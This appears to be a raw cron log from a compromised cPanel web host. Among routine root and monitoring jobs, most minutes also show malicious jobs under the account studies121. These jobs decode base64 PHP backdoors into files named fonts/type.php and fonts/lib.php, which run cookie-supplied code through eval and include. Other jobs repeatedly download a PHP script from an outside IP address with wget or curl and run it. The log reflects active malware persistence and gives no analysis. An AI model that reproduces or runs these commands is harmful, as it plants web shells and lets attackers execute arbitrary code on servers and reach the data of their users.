Sep  8 06:49:01 ip-184-168-122-23 CROND[30998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:49:01 ip-184-168-122-23 CROND[31000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:49:01 ip-184-168-122-23 CROND[30999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31211]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31220]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:50:01 ip-184-168-122-23 CROND[31219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:50:01 ip-184-168-122-23 CROND[31215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:50:01 ip-184-168-122-23 CROND[31213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:51:01 ip-184-168-122-23 CROND[31351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:51:01 ip-184-168-122-23 CROND[31353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:51:01 ip-184-168-122-23 CROND[31354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:51:01 ip-184-168-122-23 CROND[31358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:52:01 ip-184-168-122-23 CROND[31496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:52:01 ip-184-168-122-23 CROND[31499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:52:01 ip-184-168-122-23 CROND[31498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:52:01 ip-184-168-122-23 CROND[31500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:52:01 ip-184-168-122-23 CROND[31504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:53:01 ip-184-168-122-23 CROND[31603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:53:01 ip-184-168-122-23 CROND[31606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:53:01 ip-184-168-122-23 CROND[31607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:53:01 ip-184-168-122-23 CROND[31605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:54:01 ip-184-168-122-23 CROND[31723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:54:01 ip-184-168-122-23 CROND[31726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:54:01 ip-184-168-122-23 CROND[31725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:54:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:54:01 ip-184-168-122-23 CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:55:02 ip-184-168-122-23 CROND[31848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:55:02 ip-184-168-122-23 CROND[31851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:55:02 ip-184-168-122-23 CROND[31850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:55:02 ip-184-168-122-23 CROND[31852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:55:02 ip-184-168-122-23 CROND[31855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:55:02 ip-184-168-122-23 CROND[31856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:56:01 ip-184-168-122-23 CROND[31965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:56:01 ip-184-168-122-23 CROND[31967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:56:01 ip-184-168-122-23 CROND[31968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:56:01 ip-184-168-122-23 CROND[31969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:56:01 ip-184-168-122-23 CROND[31970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:57:01 ip-184-168-122-23 CROND[32091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:57:01 ip-184-168-122-23 CROND[32093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:57:01 ip-184-168-122-23 CROND[32096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:57:01 ip-184-168-122-23 CROND[32099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:58:01 ip-184-168-122-23 CROND[32288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:58:02 ip-184-168-122-23 CROND[32290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:58:02 ip-184-168-122-23 CROND[32292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:58:02 ip-184-168-122-23 CROND[32293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:58:02 ip-184-168-122-23 CROND[32294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:59:01 ip-184-168-122-23 CROND[32399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:59:01 ip-184-168-122-23 CROND[32401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:59:01 ip-184-168-122-23 CROND[32402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:59:01 ip-184-168-122-23 CROND[32403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:00:01 ip-184-168-122-23 CROND[32511]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:00:01 ip-184-168-122-23 CROND[32517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:00:01 ip-184-168-122-23 CROND[32522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:01:01 ip-184-168-122-23 CROND[32618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
